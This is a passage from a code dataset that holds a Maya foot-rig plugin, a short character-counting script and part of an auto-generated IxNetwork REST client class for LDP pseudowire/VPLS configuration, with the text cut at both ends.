as mel\n\nimport py_tasker.tasks\nimport dragonfly.modules\nreload(dragonfly.modules)\n\nLOG = py_tasker.tasks.get_task_logger(__name__)\nMAYA_VER = int(mel.eval('getApplicationVersionAsFloat'))\nCONTROLS_DIRECTORY = os.path.join(os.path.dirname(__file__), 'controls')\n\n\ndef run(params, rig):\n\n    for footIK in params['footIKControls']:\n\n        footIK_ctl = footIK['footIKControl']\n\n        LOG.info('Modifying footIK pivot controls on {}'.format(footIK_ctl))\n\n        # Get controls\n        toe_ctl = return_foot_node(footIK_ctl, search_str='IKToes_')\n\n        # Add attr separator\n        attributeSeparator(footIK_ctl, \"FootPivots\")\n\n        # Add new foot attrs\n        foot_attrs = ['footTilt', 'heelBall', 'heelBallAngle', 'toesUpDn', 'ballSwivel', 'heelSwivel', ]\n\n        for foot_attr in foot_attrs:\n            cmds.addAttr(footIK_ctl, ln=foot_attr, dv=0, at='double')\n            cmds.setAttr('{}.{}'.format(footIK_ctl, foot_attr), k=True, l=False)\n\n        cmds.setAttr('{}.heelBallAngle'.format(footIK_ctl), 25)\n\n        # Connect new foot attrs to existing foot attrs\n        cmds.connectAttr('{}.footTilt'.format(footIK_ctl), '{}.rock'.format(footIK_ctl))\n        cmds.connectAttr('{}.heelBall'.format(footIK_ctl), '{}.roll'.format(footIK_ctl))\n        cmds.connectAttr('{}.heelBallAngle'.format(footIK_ctl), '{}.rollAngle'.format(footIK_ctl))\n        if toe_ctl:\n            cmds.connectAttr('{}.toesUpDn'.format(footIK_ctl), '{}.rx'.format(toe_ctl))\n        ball_pivot = add_ball_pivot_node(footIK_ctl)\n        cmds.connectAttr( '{}.ballSwivel'.format(footIK_ctl), '{}.ry'.format(ball_pivot) )\n        heel_pivot = add_heel_pivot_node(footIK_ctl)\n        cmds.connectAttr('{}.heelSwivel'.format(footIK_ctl), '{}.ry'.format(heel_pivot))\n\n\n        # Hide existing attrs\n        foot_attrs_hide = ['swivel', 'roll', 'rollAngle', 'rock']\n        for foot_attr_hide in foot_attrs_hide:\n            cmds.setAttr('{}.{}'.format(footIK_ctl, foot_attr_hide), k=False, l=False)\n\n        # Hide existing controls\n        ctls_to_hide = cmds.listRelatives(footIK_ctl, ad=True, type='nurbsCurve')\n\n        if 'Front' in footIK_ctl:\n            hide_strings = ['IKFrontPaw', 'IKOffsetFrontPaw', 'RollfrontHeel', 'RollToe', 'HeelSwing', 'RollPaws']\n        elif 'Back' in footIK_ctl:\n            hide_strings = ['IKBackPaw', 'IKOffsetBackPaw', 'RollbackHeel', 'RollToe', 'HeelSwing', 'RollPaw']\n        else:\n            hide_strings = ['IKToes', 'IKOffsettoes', 'RollHeel', 'RollToes', 'HeelSwing']\n\n        for ctl in ctls_to_hide:\n            for hide_str in hide_strings:\n                if hide_str in ctl:\n                    cmds.hide(ctl)\n\n        # Show specific controls\n        show_strings = ['RollToesEnd']\n        for ctl in ctls_to_hide:\n            for show_str in show_strings:\n                if show_str in ctl:\n                    cmds.showHidden(ctl)\n\n\n        LOG.info('Successfully modified footIK pivot controls on {}'.format(footIK_ctl))\n\n\ndef add_heel_pivot_node(foot_ik_ctl):\n    \"\"\"Adds a pivot transform at ball of foot\n\n    Example:\n        add_heel_pivot_node('IKLeg_L')\n    \"\"\"\n    # Create new transform\n    cmds.select(clear=True)\n    heel_pivot = cmds.group(name='{}_heel_pivot'.format(foot_ik_ctl), empty=True)\n\n    if 'Front' in foot_ik_ctl:\n        match_pivot = return_foot_node(foot_ik_ctl, search_str='RollOffsetfrontHeel_')\n    elif 'Back' in foot_ik_ctl:\n        match_pivot = return_foot_node(foot_ik_ctl, search_str='RollOffsetbackHeel_')\n    else:\n        match_pivot = return_foot_node(foot_ik_ctl, search_str='RollOffsetHeel_')\n\n    cmds.delete(cmds.pointConstraint(match_pivot, heel_pivot))\n    ik_child = cmds.listRelatives(foot_ik_ctl, children=True, type='transform')\n    cmds.parent(heel_pivot, foot_ik_ctl)\n    cmds.parent(ik_child, heel_pivot)\n    return heel_pivot\n\n\ndef add_ball_pivot_node(foot_ik_ctl):\n    \"\"\"Adds a pivot transform at ball of foot\n\n    Example:\n        add_ball_pivot_node('IKLeg_L')\n    \"\"\"\n    # Create new transform\n    cmds.select(clear=True)\n    ball_pivot = cmds.group(name='{}_ball_pivot'.format(foot_ik_ctl), empty=True)\n    inner_pivot = return_foot_node(foot_ik_ctl, search_str='RockInnerPivot_')\n    outer_pivot = return_foot_node(foot_ik_ctl, search_str='RockOuterPivot_')\n    cmds.delete(cmds.pointConstraint(inner_pivot, outer_pivot, ball_pivot))\n    ik_child = cmds.listRelatives(foot_ik_ctl, children=True, type='transform')\n    cmds.parent(ball_pivot, foot_ik_ctl)\n    cmds.parent(ik_child, ball_pivot)\n    return ball_pivot\n\n\ndef return_foot_node(foot_ik_ctl, search_str=\"\"):\n    \"\"\"Simple function to help find foot nodes in a footIK ctl hiearchy\n\n    return_foot_node( 'IKLeg_L', search_str='IKToes_')\n    \"\"\"\n    foot_nodes = cmds.listRelatives(foot_ik_ctl, ad=True, type='transform')\n    for foot_node in foot_nodes:\n        if search_str in foot_node:\n            return foot_node\n\n\ndef attributeSeparator(control, attr):\n    \"\"\"Create a separator attribute on the specified control object\n\n    Args:\n        control: The control to add the separator attribute to\n        attr: The separator attribute name\n\n    Returns:\n        string: control.attr\n\n    Example:\n        attributeSeparator('Lf_arm_ctrl', '___')\n    \"\"\"\n    # Check control\n    if not cmds.objExists(control):\n        raise Exception('Control object \"' + control + '\" does not exist!')\n\n    # Check attribute\n    if cmds.objExists(control + '.' + attr):\n        raise Exception('Control attribute \"' + control + '.' + attr + '\" already exists!')\n\n    # Create attribute\n    cmds.addAttr(control, ln=attr, at='enum', en=':-:')\n    cmds.setAttr(control + '.' + attr, cb=True)\n    cmds.setAttr(control + '.' + attr, l=True)\n\n    # Return result\n    return (control + '.' + attr)","sub_path":"src/maya_toolkit/dragonfly/plugins/as_modifyFootIK.task/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":7659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"348984166","text":"import pprint\n\nmessage = input('Please type any message here, the longer the better!\\n')\ncount = {}\n\nfor character in message:\n    count.setdefault(character, 0)\n    count[character] = count[character] + 1\n\n#print(pprint.pformat(count))\npprint.pprint(count)\n","sub_path":"count-characters.py","file_name":"count-characters.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"510559536","text":"# MIT LICENSE\n#\n# Copyright 1997 - 2020 by IXIA Keysight\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\nimport sys\nfrom ixnetwork_restpy.base import Base\nfrom ixnetwork_restpy.files import Files\n\nif sys.version_info >= (3, 5):\n    from typing import List, Any, Union\n\n\nclass Ldppwvpls(Base):\n    \"\"\"LDP FEC128 Configuration\n    The Ldppwvpls class encapsulates a list of ldppwvpls resources that are managed by the user.\n    A list of resources can be retrieved from the server using the Ldppwvpls.find() method.\n    The list can be managed by using the Ldppwvpls.add() and Ldppwvpls.remove() methods.\n    \"\"\"\n\n    __slots__ = ()\n    _SDM_NAME = \"ldppwvpls\"\n    _SDM_ATT_MAP = {\n        \"Active\": \"active\",\n        \"AutoPeerID\": \"autoPeerID\",\n        \"AutoPeerId\": \"autoPeerId\",\n        \"BfdPwCV\": \"bfdPwCV\",\n        \"BfdUdpCV\": \"bfdUdpCV\",\n        \"CBitEnabled\": \"cBitEnabled\",\n        \"ConnectedVia\": \"connectedVia\",\n        \"Count\": \"count\",\n        \"DescEnabled\": \"descEnabled\",\n        \"Description\": \"description\",\n        \"DescriptiveName\": \"descriptiveName\",\n        \"DownInterval\": \"downInterval\",\n        \"DownStart\": \"downStart\",\n        \"EnableCCCVNegotiation\": \"enableCCCVNegotiation\",\n        \"EnablePWStatus\": \"enablePWStatus\",\n        \"Errors\": \"errors\",\n        \"GroupId\": \"groupId\",\n        \"InterfaceType\": \"interfaceType\",\n        \"Ipv6PeerId\": \"ipv6PeerId\",\n        \"LSPPingCV\": \"lSPPingCV\",\n        \"Label\": \"label\",\n        \"LocalRouterID\": \"localRouterID\",\n        \"Mtu\": \"mtu\",\n        \"Multiplier\": \"multiplier\",\n        \"Name\": \"name\",\n        \"PWACHCC\": \"pWACHCC\",\n        \"PWStatusCode\": \"pWStatusCode\",\n        \"PeerId\": \"peerId\",\n        \"PwStatusSendNotification\": \"pwStatusSendNotification\",\n        \"RepeatCount\": \"repeatCount\",\n        \"RouterAlertCC\": \"routerAlertCC\",\n        \"SessionStatus\": \"sessionStatus\",\n        \"StackedLayers\": \"stackedLayers\",\n        \"StateCounts\": \"stateCounts\",\n        \"Status\": \"status\",\n        \"UpInterval\": \"upInterval\",\n        \"VCIDStart\": \"vCIDStart\",\n    }\n    _SDM_ENUM_MAP = {\n        \"status\": [\n            \"configured\",\n            \"error\",\n            \"mixed\",\n            \"notStarted\",\n            \"started\",\n            \"starting\",\n            \"stopping\",\n        ],\n    }\n\n    def __init__(self, parent, list_op=False):\n        super(Ldppwvpls, self).__init__(parent, list_op)\n\n    @property\n    def Connector(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.connector_d0d942810e4010add7642d3914a1f29b.Connector): An instance of the Connector class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.connector_d0d942810e4010add7642d3914a1f29b import (\n            Connector,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Connector\", None) is not None:\n                return self._properties.get(\"Connector\")\n        return Connector(self)\n\n    @property\n    def Ethernet(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ethernet_18677f1f170027c217563a3250b1f635.Ethernet): An instance of the Ethernet class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ethernet_18677f1f170027c217563a3250b1f635 import (\n            Ethernet,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Ethernet\", None) is not None:\n                return self._properties.get(\"Ethernet\")\n        return Ethernet(self)\n\n    @property\n    def Ipv4Loopback(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ipv4loopback_f84286c6e2c90f5267670278dde3f258.Ipv4Loopback): An instance of the Ipv4Loopback class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ipv4loopback_f84286c6e2c90f5267670278dde3f258 import (\n            Ipv4Loopback,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Ipv4Loopback\", None) is not None:\n                return self._properties.get(\"Ipv4Loopback\")\n        return Ipv4Loopback(self)\n\n    @property\n    def Ipv6Loopback(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ipv6loopback_c5557054afff2b9cc84b7676de50b805.Ipv6Loopback): An instance of the Ipv6Loopback class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ipv6loopback_c5557054afff2b9cc84b7676de50b805 import (\n            Ipv6Loopback,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Ipv6Loopback\", None) is not None:\n                return self._properties.get(\"Ipv6Loopback\")\n        return Ipv6Loopback(self)\n\n    @property\n    def LdpBasicRouter(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldpbasicrouter_53e2de40003674322c811a1ba519dbb6.LdpBasicRouter): An instance of the LdpBasicRouter class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldpbasicrouter_53e2de40003674322c811a1ba519dbb6 import (\n            LdpBasicRouter,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"LdpBasicRouter\", None) is not None:\n                return self._properties.get(\"LdpBasicRouter\")\n        return LdpBasicRouter(self)\n\n    @property\n    def LdpBasicRouterV6(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldpbasicrouterv6_b554f464616f39033d7acad4846e556c.LdpBasicRouterV6): An instance of the LdpBasicRouterV6 class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldpbasicrouterv6_b554f464616f39033d7acad4846e556c import (\n            LdpBasicRouterV6,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"LdpBasicRouterV6\", None) is not None:\n                return self._properties.get(\"LdpBasicRouterV6\")\n        return LdpBasicRouterV6(self)\n\n    @property\n    def LdpTargetedRouter(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldptargetedrouter_85c7a9993d80996c22a9dbd739df9692.LdpTargetedRouter): An instance of the LdpTargetedRouter class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldptargetedrouter_85c7a9993d80996c22a9dbd739df9692 import (\n            LdpTargetedRouter,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"LdpTargetedRouter\", None) is not None:\n                return self._properties.get(\"LdpTargetedRouter\")\n        return LdpTargetedRouter(self)\n\n    @property\n    def LdpTargetedRouterV6(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldptargetedrouterv6_e86e77f17dfccefac9e15769756089cf.LdpTargetedRouterV6): An instance of the LdpTargetedRouterV6 class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ldptargetedrouterv6_e86e77f17dfccefac9e15769756089cf import (\n            LdpTargetedRouterV6,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"LdpTargetedRouterV6\", None) is not None:\n                return self._properties.get(\"LdpTargetedRouterV6\")\n        return LdpTargetedRouterV6(self)\n\n    @property\n    def Mpls(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.mpls_ffaab24246ff53741a201b0a48e8e3f1.Mpls): An instance of the Mpls class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.mpls_ffaab24246ff53741a201b0a48e8e3f1 import (\n            Mpls,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Mpls\", None) is not None:\n                return self._properties.get(\"Mpls\")\n        return Mpls(self)\n\n    @property\n    def Tag(self):\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.tag_e30f24de79247381d4dfd423b2f6986d.Tag): An instance of the Tag class\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.tag_e30f24de79247381d4dfd423b2f6986d import (\n            Tag,\n        )\n\n        if len(self._object_properties) > 0:\n            if self._properties.get(\"Tag\", None) is not None:\n                return self._properties.get(\"Tag\")\n        return Tag(self)\n\n    @property\n    def Active(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): Activate/Deactivate Configuration\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Active\"]))\n\n    @property\n    def AutoPeerID(self):\n        # type: () -> 'Multivalue'\n        \"\"\"DEPRECATED\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, LDP Peer IP would be taken from LDP router's peer configuration.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"AutoPeerID\"]))\n\n    @property\n    def AutoPeerId(self):\n        # type: () -> bool\n        \"\"\"\n        Returns\n        -------\n        - bool: If selected, LDP Peer IP would be taken from LDP router's peer configuration.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"AutoPeerId\"])\n\n    @AutoPeerId.setter\n    def AutoPeerId(self, value):\n        # type: (bool) -> None\n        self._set_attribute(self._SDM_ATT_MAP[\"AutoPeerId\"], value)\n\n    @property\n    def BfdPwCV(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): BFD PW-ACH CV\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"BfdPwCV\"]))\n\n    @property\n    def BfdUdpCV(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): BFD IP/UDP CV\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"BfdUdpCV\"]))\n\n    @property\n    def CBitEnabled(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, sets the C-Bit (flag). It is the highest order bit in the VC Type field. If the bit is set, it indicates the presence of a control word on this VC.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"CBitEnabled\"]))\n\n    @property\n    def ConnectedVia(self):\n        # type: () -> List[str]\n        \"\"\"DEPRECATED\n        Returns\n        -------\n        - list(str[None | /api/v1/sessions/1/ixnetwork/topology]): List of layers this layer is used to connect with to the wire.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"ConnectedVia\"])\n\n    @ConnectedVia.setter\n    def ConnectedVia(self, value):\n        # type: (List[str]) -> None\n        self._set_attribute(self._SDM_ATT_MAP[\"ConnectedVia\"], value)\n\n    @property\n    def Count(self):\n        # type: () -> int\n        \"\"\"\n        Returns\n        -------\n        - number: Number of elements inside associated multiplier-scaled container object, e.g. number of devices inside a Device Group.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"Count\"])\n\n    @property\n    def DescEnabled(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, indicates that an optional Interface Description is present\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"DescEnabled\"]))\n\n    @property\n    def Description(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): An optional user-defined Interface Description. It may be used with ALL VC types. Valid length is 0 to 80 octets\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Description\"]))\n\n    @property\n    def DescriptiveName(self):\n        # type: () -> str\n        \"\"\"\n        Returns\n        -------\n        - str: Longer, more descriptive name for element. It's not guaranteed to be unique like -name-, but may offer more context.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"DescriptiveName\"])\n\n    @property\n    def DownInterval(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): Time interval for which the PW status will remain down\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"DownInterval\"]))\n\n    @property\n    def DownStart(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The duration in time after session becomes up and a notification message being sent to make the session down\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"DownStart\"]))\n\n    @property\n    def EnableCCCVNegotiation(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, indicates that CCCV Negotiation is enabled\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(\n            self, self._get_attribute(self._SDM_ATT_MAP[\"EnableCCCVNegotiation\"])\n        )\n\n    @property\n    def EnablePWStatus(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, this enables the use of PW Status TLV in notification messages to notify the PW status\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(\n            self, self._get_attribute(self._SDM_ATT_MAP[\"EnablePWStatus\"])\n        )\n\n    @property\n    def Errors(self):\n        \"\"\"\n        Returns\n        -------\n        - list(dict(arg1:str[None | /api/v1/sessions/1/ixnetwork/],arg2:list[str])): A list of errors that have occurred\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"Errors\"])\n\n    @property\n    def GroupId(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): A user-defined 32-bit value used to identify a group of VCs\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"GroupId\"]))\n\n    @property\n    def InterfaceType(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The 15-bit VC Type used in the VC FEC element.It depends on the Layer 2 protocol used on the interface\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"InterfaceType\"]))\n\n    @property\n    def Ipv6PeerId(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The 128-bit IPv6 address of the LDP Peer.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Ipv6PeerId\"]))\n\n    @property\n    def LSPPingCV(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): LSP Ping CV\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"LSPPingCV\"]))\n\n    @property\n    def Label(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): Label\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Label\"]))\n\n    @property\n    def LocalRouterID(self):\n        # type: () -> List[str]\n        \"\"\"\n        Returns\n        -------\n        - list(str): Router ID\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"LocalRouterID\"])\n\n    @property\n    def Mtu(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The 2-octet value for the maximum Transmission Unit (MTU).\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Mtu\"]))\n\n    @property\n    def Multiplier(self):\n        # type: () -> int\n        \"\"\"\n        Returns\n        -------\n        - number: Number of layer instances per parent instance (multiplier)\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"Multiplier\"])\n\n    @Multiplier.setter\n    def Multiplier(self, value):\n        # type: (int) -> None\n        self._set_attribute(self._SDM_ATT_MAP[\"Multiplier\"], value)\n\n    @property\n    def Name(self):\n        # type: () -> str\n        \"\"\"\n        Returns\n        -------\n        - str: Name of NGPF element, guaranteed to be unique in Scenario\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"Name\"])\n\n    @Name.setter\n    def Name(self, value):\n        # type: (str) -> None\n        self._set_attribute(self._SDM_ATT_MAP[\"Name\"], value)\n\n    @property\n    def PWACHCC(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): PW-ACH CC\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"PWACHCC\"]))\n\n    @property\n    def PWStatusCode(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): PW Status Code to be sent when to transition to down state if PW Status Send Notification is enabled\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"PWStatusCode\"]))\n\n    @property\n    def PeerId(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The 32-bit IPv4 address of the LDP Peer.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"PeerId\"]))\n\n    @property\n    def PwStatusSendNotification(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): If selected, it signifies whether to send a notification message with a PW status for the corresponding PW\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(\n            self, self._get_attribute(self._SDM_ATT_MAP[\"PwStatusSendNotification\"])\n        )\n\n    @property\n    def RepeatCount(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The number of times to repeat the Up/Down status of the PW. '0' means keep toggling the Up/Down state indefinitely.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RepeatCount\"]))\n\n    @property\n    def RouterAlertCC(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): Router Alert CC\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RouterAlertCC\"]))\n\n    @property\n    def SessionStatus(self):\n        # type: () -> List[str]\n        \"\"\"\n        Returns\n        -------\n        - list(str[down | notStarted | up]): Current state of protocol session: Not Started - session negotiation not started, the session is not active yet. Down - actively trying to bring up a protocol session, but negotiation is didn't successfully complete (yet). Up - session came up successfully.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"SessionStatus\"])\n\n    @property\n    def StackedLayers(self):\n        # type: () -> List[str]\n        \"\"\"\n        Returns\n        -------\n        - list(str[None | /api/v1/sessions/1/ixnetwork/topology]): List of secondary (many to one) child layer protocols\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"StackedLayers\"])\n\n    @StackedLayers.setter\n    def StackedLayers(self, value):\n        # type: (List[str]) -> None\n        self._set_attribute(self._SDM_ATT_MAP[\"StackedLayers\"], value)\n\n    @property\n    def StateCounts(self):\n        \"\"\"\n        Returns\n        -------\n        - dict(total:number,notStarted:number,down:number,up:number): A list of values that indicates the total number of sessions, the number of sessions not started, the number of sessions down and the number of sessions that are up\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"StateCounts\"])\n\n    @property\n    def Status(self):\n        # type: () -> str\n        \"\"\"\n        Returns\n        -------\n        - str(configured | error | mixed | notStarted | started | starting | stopping): Running status of associated network element. Once in Started state, protocol sessions will begin to negotiate.\n        \"\"\"\n        return self._get_attribute(self._SDM_ATT_MAP[\"Status\"])\n\n    @property\n    def 